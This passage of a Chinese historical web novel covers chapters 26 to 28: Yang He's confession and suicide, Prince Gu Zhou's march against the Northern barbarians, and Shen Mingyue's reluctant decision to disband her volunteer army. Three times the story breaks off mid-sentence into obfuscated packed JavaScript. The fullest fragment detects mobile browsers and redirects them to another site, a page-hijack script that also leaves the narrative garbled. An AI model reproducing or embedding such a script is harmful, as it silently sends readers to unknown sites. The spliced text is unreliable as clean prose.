杨合刚刚被人从牢狱中拉出来,一只眼睛已被打到看不清东西,他用仅存的视力环视周围,看着满目苍夷的街道,心中追悔莫及。 他低下头,任凭责骂如潮水般涌向自己,似乎这样便可以减轻自己的罪孽。 顾洲制止了众人的行为,对杨合大声责问:“杨合你可知罪?” “臣知罪。” ”罪在何处? 杨合缓缓抬起头,“臣罪有三,投敌叛国,负朝廷信任之托付,此为不忠之罪;开城迎敌,置百姓生死于水火,此为不仁之罪;溃军潜逃,弃将士尸骨曝山野,此为不义之罪。不忠不仁不义,三罪并罚,我杨合,罪无可恕!!” 说道最后他情绪激动,几乎是大喊出来,之后动了一下肩膀,想站起身来,可军士却以为他要反抗,压得更紧一些。 顾洲却下令:“放开他。” 杨合起身,却又单膝跪下去,他被北蛮人日夜折磨,已没有多少力气,但最后还咬着牙起身。 “我杨合愧对天地、愧对朝廷、愧对百姓,愿众人以我为戒。”说罢,他抽出一旁军士手中的刀,自刎于众人眼前。 血自颈部喷涌而出,悉数溅在战旗上,染红了“忠义”二字。 接着陈长生命人将杨合的头割下,悬在一旁的高树上,大喊道:“杨合通敌叛国,死有余辜。” 底下众人似大仇得报一般欢呼起来,沈明月却见顾洲一脸凝重,眸光中带着惆怅凝视地上的鲜血,之后扫视人群,在见到她的那一瞬,变得有些惊讶。 她低头闭眼,轻声叹息,这杨合罪不容诛,但这裴济也太会投机取巧了,之前也是北城怯战,此时却像个英雄一般,赚得了一波人心。 “沈明月……” 朱文的声音从耳边传来,沈明月瞥了他一眼,这人怎么还改口,直呼她的名字了? “朱文?你还活着?”她忍不住调侃了一句。 朱文理了理外袍,轻咳一声,“在下现在是陈将军帐下参军,你该叫朱参军。” 沈明月斜眼打量了他一眼,这小子倒是会钻空子,但若是他投奔的是顾洲或者韩成,她都不会这样看他,偏偏他投靠的是陈长生。 她没有精神与他多说,只问道:“恭喜朱参军高升,我的那些书没丢吧!” “没丢,回头我就遣人给你送去。” 呸!还遣人,真当自己是碟子菜,沈明月看不惯他这样子,转身就走。 “喂!你什么态度?” 沈明月为了摆脱他的纠缠,拱拱手道了声:“朱参军请便”。 顾洲透过人群看着沈明月这副恹恹的样子,心中有些后悔,不该让她看到这杀人的一幕。 沈明月与肖广林离了人群,肖广林继续说:“虽然胜利了,但我们依旧不能懈怠,援军未到,敌军随时可能反攻,现在城中善后的都是义军,军队之人全都在外面防守。” 看着人们看似忙乱,可一切皆有条不紊,顾洲如此安排合情合理,城已攻下,义军使命已结束,各司其职,剩下就是军队对责任了。 对这一切安排,沈明月很满意,心中也对顾洲起了几分敬佩。 天色又阴了起来,这六月的天就像小孩的脸,说变就变,沈明月匆匆回到住处,却发现屋内多了一个人。 竟然是小莲! 沈明月很高兴她能来,但不由得又为她的安全担忧,“这里危险?你怎么来了?” “韩将军让奴婢跟着姑娘,奴婢便来找姑娘,再者……奴婢自己在军营中也害怕。” “你怎么来的?” “同换防的队伍一起来的。” 沈明月这才得知,韩成安排伤病员回凌源休整驻守,将凌源兵力调来增援。 小莲指着一堆书册说道:“这是一个姓朱的参军派人送来的,姑娘看看放在哪里?” 沈明月略略一看,是之前交给朱文的书,竟然一本都没丢,可是她与朱文间交集,大概也就到此为止了吧。 虽然她如此感叹,却也不觉得有什么惋惜,她们本来就不是一路人。 她将书放到案几上,随口问道:“小莲,你识字吗?” “识得。”小莲很是自信,“奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾洲的药很管用,伤口愈合得很快,但是伤口很深,估计是要留疤了。 雨在傍晚十分就停了,被水洗过的夜空透亮清澈,一轮圆月俯瞰着人间,撒下一地碎光。 她没有停留,踏着这星辰般的光芒去找顾洲,问清了他在城楼上,便兴冲冲地前去,上了城楼正欲转弯就听见韩成的声音传来。 “殿下为什么不直接杀了杨合,树树威信?” 接着是顾洲的声音:“杨合投敌是形势所迫,他的本意是保住这一城老小,他错就错在轻信敌人,以为献上钱粮,就能换来敌人的仁慈。” “听闻他在老家还有双亲和幼子,我若直接给他定罪斩首,此后朝中轮起罪名来,难免要波及到老人和孩子。他认罪自裁,一则成全他的骨气,二则护住他家老小。” “还是殿下思虑周全……”接着韩成的语气变得气愤,“陈长生那小儿,真是不知廉耻,若不是殿下去救义军,哪里轮到他来抢功。” “人心自有分明,生死关头,我怎能见死不救!” 韩成言语间流露出敬佩,“京中盛传殿下不学……”但他意识到不对,立即改了口,“我看都是假的。” 顾洲拍拍他的肩膀,笑着摇摇头。 韩成继续说道:“殿下慧眼识珠,竟提拔了沈先生是个人才,这城能攻下来,有她一半的功劳,只可惜她是个女子,不然能有个好前途。” 接着,韩成有些迟疑地说道:“殿下,末将还有一事,不知当讲不当讲……” “但说无妨。” “说起义军,末将倒是觉得该解散或者收编了。” 顾洲沉吟了一下,问道:“那依你的意思呢?” “最好是解散,毕竟民间起兵,历来都受朝中忌惮。”韩成看着顾洲神色不对,立即请罪:“殿下恕末将直言,末将不是怀疑义军,但以义军之兵力,若被有心人利用,只怕之后难以控制。” “此事……我自会考虑。” 此事,顾洲不是没有考虑,但是要如何对沈明月说,他还没有想好,毕经这支队伍是她一手培养起来,她在其中倾注了太多心血,她脾气又有些倔强,只怕贸然去说,她接受不了。 但这些话如同一盆冷水浇了沈明月头上,一腔热忱瞬间熄灭,她看着手中的册子,转身下楼去。 刚拐过台阶,却听身后响起重重的脚步声。 26. 胜券 沈明月不想被人知道自己偷听了,急中生智,转身装作刚上楼的样子,与下楼之人走个正对面。 “韩……将军。”沈明月压着内心的失落与不安,强笑道:“麻烦将这个转交给顾将军。” “殿下就在上面,你怎么不亲自去?”韩成见她虽有笑意,可总觉得这表情不太自然。 “我还有事。”沈明月不多解释,转身离开。 韩成是粗犷之人也没有多想,回到城楼上将册子交给顾洲。 顾洲接过一看,只见册子上书“胜券”二字,那棱角分明的笔体间,似乎蕴含着不容小觑的力量。 他快步走到城墙另一侧,远远看着沈明月的背影消失在溶溶夜色之中。 打开册子,借着火光略看了看,只见上面写着“麻雀战术”、“蘑菇战术”、“车轮战术”、“梅花战术”…… 这些比喻倒是可爱,他嘴角悄悄上扬,笑意在眼中流转,此时恰巧巡逻的军士路过,他硬生生将这笑压了下去,揉揉鼻子低头咳了两声,之后背过手去。 第二日,天空彻底放晴,援军还是没到,可斥候却传来敌人集结的消息。 顾洲即刻召集沈明月、徐铭、韩成、陈长生商议。 但他们很快产生分歧,韩成与陈长生主张等援军来,陈长生不必说,韩成的理由是敌多我少,等援军到后再一起出兵讨伐。 韩明月则主张分兵抗敌,趁着敌人兵力未集中,分散打击之,徐铭自然是她的支持者。 顾洲紧紧盯着舆图,心中已拿定主意出兵,只是觉得这决定有些冒险。 但最终他下令:“沈明月与陈长生携义军驻守安庆,韩成在城外防守,徐铭与我进山御敌。” 军令一出,陈长生松了口气,其他三人皆惊讶。 韩成劝道:“殿下千金之躯怎可做先锋,我等愿领兵前去。” 徐铭也担忧此行的危险。 而沈明月惊讶的是顾洲竟然不带上她。 顾洲态度坚决:“依令而行,速去准备。” 众人散去,沈明月却没有离开,直接问道:“为什么不让我去。” 面对她这质问,顾洲放下刚才严肃的态度,说道:“你的伤还没好。” “这是理由吗?若这是理由,你的伤可比我重。”沈明月不甘示弱。 顾洲感受到她言语间的愤怒,低头想着要如何说服她,却不知该表达心中的担忧,复而上前一步将头抬起,“出去走走?” “就在这里说!”沈明月态度坚决。 “走吧!我带你去看看城防。” 顾洲说完抬腿往外走,沈明月也只得跟上,她本以为顾洲会给她讲些大道理,不料却带她上了城墙。 二人沿着城墙走了一段路,顾洲开口:“你看这城中有何变化?” 沈明月只抬头看了一眼,房屋依旧是那些房屋,街道依旧是那些街道,能有什么变化? 她低头踢着脚下的石块,赌气似地没有回答。 顾洲倒是很有耐心:“你再仔细看看百姓,有什么变化?” 沈明月又沿着城墙向前走了几步,才仔细看看,的确是有变化,街上的人似乎多了,有些人家已经燃起了炊烟。 “怎么多了这么多人?哪里来的?”沈明月有些疑惑,明明城中几乎被屠戮殆尽,这人是从哪里冒出来的? 顾洲声音有些沉重:“是杨合保护下来的百姓。” 沈明月回头看他,眼神微微一凝,想探究这句话背后的缘由。 顾洲走上前与她并肩,双手撑住城墙,感受着粗粝墙砖上的沧桑,缓缓说道:“入城当日,陈长生带人直奔府衙,斩了北蛮王子克拉木斯,府衙内已无汉人,杨合不知所踪,本以为他是逃窜了或者被杀了,但晚间侍卫却发现他被关押在地牢中……” 在他的叙述中,沈明月了解到的背后的实情。 原来,杨合抗敌已将队伍打光,没有外援,安庆已经成了一座孤城,他知道此番凶多吉少,便启用了紧急逃生的暗道,这条暗道的入口在地牢中,直通城外山谷中的一个天然山洞。 他闭城三日,令城中百姓通过暗道藏匿进深山,而他则令府衙内百余口人,及剩下的残兵假扮成百姓,之后献城投降。 投降后他极力与克拉木斯周旋,令蛮人在城中享乐,没有继续向南出兵,直至顾洲的军队到来,克拉木斯才恍然大悟,将他毒打后关起来,扬言要留着他,看自己是如何屠城的。 而顾洲入城后,也从清理出来的尸体的数量中看出问题,安庆再小也不该只有这么些人,所以他才暗中继续寻找杨合,最终在地牢隐蔽的角落里找到了他,那时他紧紧靠着暗道的入口,直到顾洲到来才起身。 顾洲最后说了一句:“那日孩童的遗体,就是杨合的亲孙儿。” 这句话令沈明月震惊不已,没想到事实竟是如此。 顾洲目视前方:“他虽是投降,但也护住了大半百姓,现在百姓回来了,无不感念杨合的恩情。” 沈明月追问:“可……为什么还要斩了杨合?为什么不把实情告知世人。” 顾洲沉默了,有些实情他没有说,据杨合交代,他城中出现了叛徒,给朝中的求助信根本就没有发出去,最后他也知无力回天了,只能拼死一搏。 若不是顾洲自己的人探查到安庆失守,前来支援又上书请求朝中出兵,朝中根本不知道这件事。 但此事并不只是安庆中有叛徒这么简单,韩成的奏折到朝中也是石沉大海,而朝中能有出兵的旨意,只怕也不是顾洲求来的,而是他舅舅的功劳。 这背后的错综复杂令顾洲捋不出头绪,但现情况紧急,也只能先将此事按下。 至于杨合,保民是责任、投敌是死罪,顾洲虽同情他,但却不能枉法,但是他给了杨合机会,让他当着百姓和军队对面认罪自裁,全了他最后的气节。 顾洲犹记得杨合最后说的话:“谢大殿下成全,若能以臣之罪,解百姓之怨愤,壮将士之军威,臣也算死得其所了,惟求殿下能绕过臣的双亲与幼子一命。” 最终顾洲没有回答沈明月的问题,这中间的是非曲直,不是简单一两句对错可以评判的。 而沈明月也没有再追问,她似乎有了些理解,世人看的是结果,不是初衷与过程。 她看着顾洲被昏黄勾勒的侧颜,心中五味杂陈,这次行动算是胜利了,可若失败呢?他会有怎样的结局?史书又会如何书写他? “你……” 顾洲忽然侧过脸来,二人目光相对,却谁都没有错开,而他在那道目光中,竟然看到一丝同情和心疼。 他继续说道:“你那本《胜券》中写得对,进攻才是最好的防御,避战退让不会得到敌人的同情,只会让敌人知道你软弱可欺,所以我选择了你的建议,率先出击,抢占先机。” “沈明月,陈长生这人我信不过,我希望你能守好这座城……” 顾洲说着侧过身来,正对着她,一丝不苟地说道:“等我回来。” 他的目光将沈明月牢牢锁定,幽深的眸底涌动着意味不明的情愫。 这是什么意思,沈明月一时琢磨不透,只能继续看着他,回以坚定和鼓励的目光。 “答应我,等我回来!”顾洲伸出右手抓住她的胳膊,似乎迫切想得到她肯定的答案。 沈明月想,他大概也是对未知感到忧虑和紧张吧,于是她抬起右手,紧紧握住他的右手,上下摇了摇,想通过握手的方式给予他力量。 “放心,我和这城中百姓,等着将军凯旋,为将军庆功。” 看着被握住的手,顾洲的眼神凝固了几秒,这举动不像是普通牵手,而像是一种礼仪。 对方的手抽回后,他的手停了一瞬后才收回,之后紧紧握成拳头,有些不知所措地捻着拇指和食指。 集结的号角声吹起,有军士来请他下达出征的命令,他不得不离开了。 沈明月站在城墙上,看着他下了城门,看着他披上铠甲,看着他骑上战马,看着他挥动令旗,听他大喊道:“众将士听令,即刻出发!” 之后队伍按顺序走出城门,顾洲也跟着走出城门,沈明月赶紧跑到城墙的另一侧,看着将士们离开的背影。 而顾洲突然勒马,转头马头冲着队伍,可头却转向城墙之上,目光搜寻沈明月的身影。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“按长史的指示,义军帮着安庆人修房子,种庄稼,但他们心里也惦记着自己家的庄稼,有好多人看着现在太平了,想回乡去,都被我劝住了,我说沈长史带咱们打回来,咱们不能丢下她不管呀。” 沈明月听着这一席话,明显感觉到肖广林的进步,能说出“矛盾”、“指示”这些词来。 她正想着要如何缓和矛盾,就远远听见一个人边跑边说:“百夫长,快去看看,有吵起来了,都动手了。” “唉!你看看,一天天打不完的官司。”肖广林说完又是一声长叹。 “走,去看看。”沈明月倒是要看看是什么大事,闹成这样。 跟着来人,二人到了一处街角,这里已经围了许多人,中间两个壮汉赤膊摔跤,看服饰,一个是义军一个是军士。 肖广林上前将二人拉开,呵斥道:“住手,都给我住手,老刘,你这是做什么?” 义军这边的老刘擦了擦头上的汗,说道:“他刚才在摊上吃饼子没给钱,看摊上是个小姑娘就欺负人家。” “胡说!”军士吐了一口血沫,擦擦嘴角,“那饼是那孩子送我的,不信你问她。” “你才胡说八道!看把孩子都吓成啥样了。”壮汉向小女孩看了一眼。 众人也看纷纷看向那小小姑娘,大约只有十来岁的模样,头上扎着两个小揪揪,身上的衣服偏大,显得她十分瘦小,裤子膝盖处打着两个补丁,她双手局促地揪着衣角,看着众人的目光聚集过来,更加不知所措。 “你说,这饼子是不是你送给我的?”军士瞪着双眼喝问。 这下可好,小姑娘见他凶神恶煞的模样,小脸憋得通红,眼中蓄满了泪水。 沈明月见状上前抱起小女孩,安抚道:“没事,告诉姑姑,怎么回事?” 小女孩眼泪一下子就流出来,抽抽噎噎地说不出话来。 沈明月心下了然,但她觉得此事当众说出,只怕会激化矛盾,需私下解决,只说道:“此事我会查清原委,但是遇到问题只会有动武,当街斗殴,这是扰民、破坏团结,你们两人回去各自写一份检讨,端正自己态度,认清自己的问题。” 那军士上下打量了她一眼,冷哼一声:“你算哪根葱?凭什么命令我!” 肖广林出面维护:“这是营州城防的沈长史,你客气点。” “营州城防?管不到我兴城的人。”军士说完,眼神中带着些挑逗,轻蔑道:“一个女子,能当长史?从床榻上升的官吧!哈哈……” 27. 纠结 当众被人这样污蔑,沈明月又羞又恼,腾得脸色迅速蹿红,眸中流露出愤怒。 还未等她发作,只听“啊——”的一声惨叫,那军士被掀倒在地,原来老刘对着他的脸就是一拳,还愤恨地斥责道:“我让你胡说八道!” 肖广林也命令道:“把他嘴堵上,绑了送到兴城军那里去。” 立即有和老刘一起的人上前去捉军士,军士大喝道:“谁敢动我!有你们好看的。” 此时一个妇人闻声赶到,从沈明月怀中接过孩子,为孩子擦着泪安抚道:“坏人走了,不怕了!” “阿娘,那个人抢我的饼……”小女孩见到了亲人,抹着泪告状。 孩子的母亲也抹起泪来:“没事,就当丢了。” 之后转向沈明月谢道:“多谢这位姑娘,多谢大家伙了,孩子没爹了,我们惹不起军爷,给大家伙添麻烦了……”说完抱着孩子离开。 几句话使周遭的人明白了实情和缘由,觉得孤儿寡母更加可怜,纷纷想要去讨个公道回来。 沈明月知道这么小的事就引发这么大的冲突,是矛盾激化的表现,有必要去找陈长生去谈一谈,于是她走到中间,示意大家安静。 “大家安听我说两句,我们虽然夺回了城池,但危机并没有解除,敌人还在进攻,我们作为后备军,要随时做好出征的准备,也要做好后方保障工作,让前线的将士无后顾之忧!” “希望大家能紧张起来,不要松懈,认真对待现状,时刻准备着应对突发命令。这次的事的确是陈将军治兵不严引起的,放心,我自会去讨回公道。” 她说完给了肖长林使了个眼色。 肖长林意会,“散了散了,大家都去忙吧。”之后拉住老刘,“走,去讨公道。” 二人与沈明月来到府衙,陈长生在正堂内喝着茶,朱文在一侧侍立,似乎是做好了万全的准备,就等他们到来。 的确,自沈明月要到府衙来,便早早有人向他通报了此事,他知道躲不过了,正好趁此机会给义军一个下马威。 见人来了,陈长生不紧不慢地咽下茶水,端着茶杯慢悠悠地说道:“来得正好,正要派人去传唤你们,你们倒是有自知之明自己来了,说说吧,为什么打人?” 竟然被倒打一耙,老刘一听就急了,粗着嗓子辩解道:“是你军中的人抢孩子的饼子,我跟他理论,是他先动手的。” 陈长生连眼皮都未抬:“有什么证据是我帐下的军士抢了饼?” “我亲眼看见的,孩子也承认了。” “你是当事人,不算证人,那小孩子的话也能信?”陈长生抬头,厉色反问:“我军中将士还缺一张饼子吗?犯得着去抢?” 老刘再也耐不住性子,怒骂道:“呸!狗官!你是说我胡扯?你可真是隔山买牛——不知黑白,连审都不审就怪我老刘,别以为你爷爷我是好惹的?” 这话刚落地,只听“咣当”一声,是茶杯重重落在桌上的声音,陈长生黑着脸呵斥道:“大胆!公堂之上,岂容你大呼小叫的?” 老刘却是不怕,撸起袖子握紧拳头就要上前动手,肖广林赶紧使劲往回拉了老刘一下,他明白事情到了这一步,已经不是饼子的问题了。 沈明月也上前也挡在老刘前面,说道:“陈将军,”沈明月说道:“你是军中人有错在先,你如此包庇,只怕会有事公允,难以服众。” “有什么不能服众的?事情尚未查清真相,沈长史就带人来兴师问罪,就不算是偏袒自己人吗?再者,将士们出生入死,就是吃了饼子又怎样,难道不配吗?” “你……”沈明月有些愤怒,“这是什么态度?你军中还有没有纪律?你若不信,咱们就叫来当事人和证人一起堂审。” 眼见气氛剑拔弩张,朱文拉着长音开口道:“沈长史,稍安勿躁!何必这样兴师动众呢,大家都是一起出生入死的,也要给彼此留点颜面。” 他这话看似出言调解,但却带着些责备的语调。 沈明月诘问:“这是颜面的问题吗?这是……” 后面的话还没有说出口,肖广林上前一步,拱手为礼,“既然朱参军说大家都是兄弟,那咱们自然是要好好相处,还请将军严明军纪,小人也会管好义军的人,希望以后不要再生嫌隙。” 他说完又行一礼,道了声“小人告退”后,给了沈明月和老刘一个离开的眼神,又倒退两步离开。 沈明月只得咽下这口气,用鼻子哼了一声后也跟着出来。 出了府衙老刘愤恨不平:“老肖你怎么这么窝囊了?咱怕他啥!” 肖广林没好气地回答:“你懂啥,别就看着眼前这点事。刚才你逞什么呢?事闹大了有啥好处!赶紧该干啥干啥去!” 他说完继续背着手往前走。 老刘虽然不服,但也知刚才冲动了,于是叹了口气离开。 沈明月也不理解肖广林的做法,二人默然走了一段路,她忍不住说道:“肖大哥,咱们又不是没理,怕他做什么?” 肖广林看着眼前这年轻的小姑娘,自己的岁数都可以做她父亲了,可她还是“大哥,大哥”地叫着,于是又是一声长叹:“唉!” 近来,肖广林的叹息声越来越多,沈明月也不太懂,敌人赶走了,好日子就要来了,他还叹息什么。 只听肖广林缓缓说道:“沈长史你还是太年轻啊!咱们跟他们是什么关系?说白了就是邻居的关系,但他们是朱门,咱们是柴门,咱们惹不起他们。但话又说回来,远亲不如近邻,眼下战事还没结束,说句不吉利的,前线支撑不住,咱跟他们还得一起出征。” “你看这几日陈长生狂妄的样子,以为拿了头功就了不起了,但我也听说这头功是他捡的便宜。有句话叫‘宁得罪君子不得罪小人’,现在主帅不在,没人给咱撑腰,韩将军虽然向着咱们,但他跟陈长生是平级,让他夹在中间也作难。” 沈明月知道这“头功”是指陈长生取北蛮王子首级一事,但大概正是这件事,也是导致前线危机的缘由,若将北蛮王子作为人质,会不会又是另一番结果? 在这件事上,大概别人也知晓陈长生是投机取巧了,再加上城中百姓自发为杨合立功德碑一事,也让沈明月中多了一丝慰藉,看来“是非自有公论,公道自在人心”。 但有一点令她感到失落,原来之前自己的威望都是狐假虎威,是因为有顾洲和徐铭在她背后。 今日这事,肖广林的做法很有道理,即便是讨回公道,陈长生那小人指不定会在背后搞什么鬼,到时候义军的处境会更加艰难。 的确,她还是太年轻,于人情世故上还欠缺很多。 肖广林看着她一脸愁容,心中有些不忍,这个年岁点女子能做到这个份上已是不错了,但他还是打算将自己的想法继续说完。 “还有,刚才跟你说的事,义军中已经有人想返乡了,或许还能赶上种一茬麦子,你看看人家朱文,不也是去找出路了吗?搭上了陈长生,直接当了参军。” 沈明月微微抬头,眼中闪过一丝错愕,之后才恍然大悟,姓朱的这小子原来下了这么大一盘棋。 他曾说过科举之路艰难,所以来到军营中寻找捷径,这恐怕就是他非要进军营的目的,亏他还标榜自己是满腔热血、忧国忧民,真是大言不惭。 而自己竟然被他骗了,真是可恶。 “所以,沈长史,”肖广林顿了一下,认真地说道:“你也该考虑考虑义军的未来了,我老肖是个粗人,不懂得什么大道理,但也看过几出戏、听过几场书,这老百姓起兵有什么好下场?如今义军的责任已经完成了,差不多该解散了,这样对谁都好。” “解散”那两个字,再一次如尖刺一般扎进了沈明月的心中,若说韩成的话是朝廷官方的意思,那么肖广林这番话则是义军的意思。 难道真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436169|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该解散义军了吗? 她立即拒绝了这个念头,她对义军倾注了太多心血,义军是她思想的凝结,是她最满意的作品,怎么能就这样解散,怎么能就这样放弃。 她不甘心! 这几日,她也不是没有想过义军未来的路,她计划将来在义军中实施自愿去留制,愿意留下的接受整编,不愿意留下的就领津贴离开。 这个计划她本来打算等顾洲归来,与他商议后再实施,难道等不到那一天了吗? 沈明月在原地愣了许久,没有注意到肖广林已经走了,人来人往间,她却仿佛自己与这个世界是隔绝的,心也被掏空了一般,孤独寂寞的感觉油然而生。 又到了夕阳西下时分,可阳光依然很耀眼,她揣着满腹心事走上城墙,沿着城墙自西向东缓缓而行。 安庆虽不大,但这这一圈城墙走下来也需要两个时辰,她也不知道为什么要走,也不知道要走到何时,走到何处。 她内心犹如一团乱麻,纠结不清,盘根错节的矛盾将她分裂成两个独立的自我,令她深陷犹豫和彷徨之中,不得解脱。 残日已经落到山影后,满城的房屋都沉在薄暮的光线里,她转身看着余晖将自己的影子拉得很长很长,现在也只有这身影是与自己不离不弃了。 渐渐地,她终于觉得累了,便靠着城墙垛子坐下来,抱着腿将头埋在膝盖间,试着理清混乱的思绪。 她不得不承认,“解散”这两个字已经开始占据她的思想的高地,她能清楚感觉到,这两个字在蚕食着她曾经的坚守。 可是她还是心有不甘! 脚步声响起,沈明月心中一喜。 顾洲? 抬头却见来人是朱文,她便又低下头去。 朱文看着她眼中的目光由期待转为失望,有些疑惑地问道:“你在等人?” 沈明月站起身来,想着也没什么跟他好说的,简单了回答了一句“没有”后继续向前走。 朱文跟了上来,“今天的事,不该感谢我吗?” 沈明月驻足,不满地看回他,“为什么要谢你?” “若不是我给你们找台阶下,还不知道你们要吃多大亏。” “你还有没有是非观,这件事本来就是陈长生的兵生出来的事。” 沈明月的语气不太好,看透了这人的真面目,她更加不屑于他的人品。 “你最好还是尊称陈将军。” 沈明月给了他蔑视的眼神,“在我看来,他不配做一名将军。” “配不配的,人家也在这个位置上,你就要尊重一些,否则对你没好处。” 朱文沉吟了一下继续说道:“沈明月,你有没有想过以后?” “什么以后?” “自然是大军归来以后,义军早晚是要解散的,你以后要去哪里?” 接着朱文看了她一眼,补充了一句:“肯定不会再让你留在军中。” 又是这件事,他这肯定沈态度令明月恼火,义军解不解散轮不到他来说三道四,她赌气似地从喉咙中坚定地吐出几个字:“义军不会解散!” 朱文笑着摇摇头:“沈长史不要太固执,这番朝中派来援军可不单单是军士,还有督战史官等人,这些人都是做什么的,想必你心中应该清楚。” “你手下这些人,说好听了是义军,说不好听了就是一伙难民,若被有心之人利用,说你起兵谋反,也不是不可能的。” 沈明月默默地听着,这些道理她都明白,这个时代毕竟有完备的政治体系,有统一的政府,有完整的政权,不会容许有其它不从属于政府的权利集团出现。 可她不甘心义军就这样草草退场,不甘心义军的功绩就这样被埋没,他们之中的每一个人都值得被铭记。 她没有回答,继续向前走,二人各揣心事,前行了几步后,朱文犹豫着问道:“你……刚才是不是在等大殿下?” 28. 释怀 沈明月听完心中咯噔一下,她不想心事被人知道,立即否认道:“不是,没有。” 她虽回答得干脆,朱文却不相信,低头浅笑一下,“你我也算旧识,我奉劝你一句,最好不要对大殿下动什么心思。” “大殿下是天潢贵胄、人中龙凤,自然是要世家贵女来匹配,而且我还打探到,圣上已为殿下定下婚约,待殿下归京后便成婚。 沈明月听着心中有些发涩,像是旧友有了新知交一般,可天下哪儿有不散的筵席,若不是为了这场战事,她与顾洲早该是陌路人。 她装作不在乎,故作轻松地说道:“你还真是咸吃萝卜淡操心,这些跟你有什么关系?跟我又有什么关系?不过,你倒是会审时度势,以前还说大殿下骄奢淫逸,今日就改口人中龙凤了。” 朱文慌忙四下看看,小声道:“诶呀呀,小声些,以前那都是传闻,传闻怎能当真?怎可当真!你这人怎么不知好歹,我这不是替你担心么!” “替我担心?用不着!”沈明月带着些鄙夷的神色看了他一眼,本想再补一句:你还是想想你如何往上爬吧。 可话到嘴边还是忍住了,之后快步向前想甩掉他。 “还有一事,援军今日到了。” 朱文轻飘飘的一句话,足以让沈明月停下脚步。 “真的?”她自认为不动声色,可却压不住内心无端生出来的喜悦。。 “我骗你作甚,董弋将军前日与大殿下会合,与北蛮一战大获全胜,不日便可回师,这不,捷报刚到我就来告诉你,你却是这个态度,真是让我寒心呀!” “捷报在哪里?”沈明月有些迫不及待,想亲自看看这好消息。 “在陈将军那里。” “我去看看。”沈明月说完,朝着下城墙的台阶走去,脚下的步调都变得轻快起来。 朱文看着她雀跃的背影,心中有些发沉,皱着眉叹息一声:沈明月,希望你好自为之。 但最终,沈明月并没有看到战报,陈长生以战报为军机的借口拒绝了她。 而且以后几日,城中一切渐渐回到正轨,城防由陈长生手下掌控,义军也都闲下来,而她自己,也明显感觉到被边缘化。 她的住处,虽然在府衙侧院,不是出入必经之地,但也会经常有人活动,这点让她感到很不自在,便去找陈长生提出异议。 陈长生却态度傲慢:“沈长史,这府衙本就是办公之地,能让你暂住已是看在大殿下的面上,就不要挑三拣四了。” 这让沈明月很是窝火,不论是前世还是今生,她何曾受过这样的委屈? 接连地受挫,深深打击了她的自尊和自信,回忆着这几日的事,不论是韩成还是肖广林,不论是背地里还是明面上,所有人都觉得义军应该解散。 而陈长生更是直白地告诉她义军必须解散,而且似乎最好是现在,在顾洲回来之前,否则所有人都要承担不必要的风险。 她深知自己是在坚持一件熟知的事情,但熟知并非真知,就现在这个社会之后的发展而言,义军已完成了它的历史使命,那么它还有继续存在下去的必要吗? 显然,存在下去的弊大于利。 两拨力量在她心中斗争,使得她烦躁不安,伸手想倒水喝,却不慎打湿了桌上的《道德经》,她赶紧拿起来擦干,只见打开的一页上写着:持而盈之,不如其已;揣而锐之,不可长保。 她没有打开下一页,也知道后面写的是“功成身退,天之道也”。 “功成不必在我,但功成一定有我”,这场行动最初的目的已经达到,这就是成功,那么义军也该退场了,她自己也该退场了。 合上书册,沈明月最终说服了自己。 于是她开始着手收拾东西,计划着等午后去告诉肖广林这个决定,等大军回来,她也该离开了。 想起大军,自然而然地想到了顾洲,她答应过他要给他庆功,那也许会是最后的见面了,而她也准备了一份特殊的礼物,当作她的贺礼。 在这里并没有多少东西需要收拾,她所拥有的只是一些书、一把匕首和一盒药膏,将书打包,其它东西装到了身上。 吃过午饭,她便去找肖广林,却被告知肖百夫长去了城外大营,于是她又来到大营中,一番通报等待,终于见到了他和韩成。 “韩将军,好久不见了。”沈明月拱手为礼。 “什么好久,十天而已。”韩成大大咧咧地回答。 原来只过了这么短的时间,沈明月不好意一笑,看来是自己觉得日子过得太慢了。 接着又听韩成问道:“今日怎么有空过来了?” “我是找肖大哥,不想他到这里来了。” 肖广林上前一步,“有什么事吗?” 沈明月看了一眼韩成,韩成哈哈一笑,“我回避,我回避。” 她见韩成这般坦然,倒是觉得不该隐瞒他,于是说道:“韩将军,我不是这个意思,我这几日思考了一下,觉得肖大哥说得很对,义军的使命已经完成,是该解散了。” 肖广林与韩成听完,互相看了一眼。 韩成捋捋胡子说道:“原来是这事,我正好还想去劝劝沈长史,现在好了,不用劝了。 肖广林也觉轻松起来,其实他私下已按捺不住义军的人,人已经开始离开了,而有一些人也想留下来,他来找韩成,就是想看看他能不能收编想留下的人。 他补充道:“是啊,韩将军已经答应了收编,还拨出一部分军费给还乡之人做路费。” “如此安排甚好……” 沈明月面上不动声色,眼底却是一团颓败,心中沉甸甸的,再也说不出话来,原来解散义军是众望所归,她自己倒成了最大的阻碍。 肖广林见她神色黯然,劝解道:“沈长史,是我不好,这些事没跟你请示,但这情况我实在不好应对了。” “肖大哥,这些我都知道,这是我的错,我早该认清这一点。”沈明月虽然这样说,但音色却是低沉的。 韩成也看出她的难过,也劝解了两句,之后抬头看看天色,将话题岔开:“这个时辰大殿下的队伍也该到军营了。” “什么?他今日回来?”沈明月十分疑惑,竟然一点消息也不知道。 “是啊,你不知道吗?我军大捷,近几日已有队伍回来,大殿下断后,今日才到。” 听着韩成的解释,沈明月这才明白,是陈长生有意隐瞒消息,但这也怪自己,她住在府衙,按说应该会得到消息,可她却因自己困于情绪中,以及与陈长生的矛盾,错过了这些。 这不禁让她越发失落。 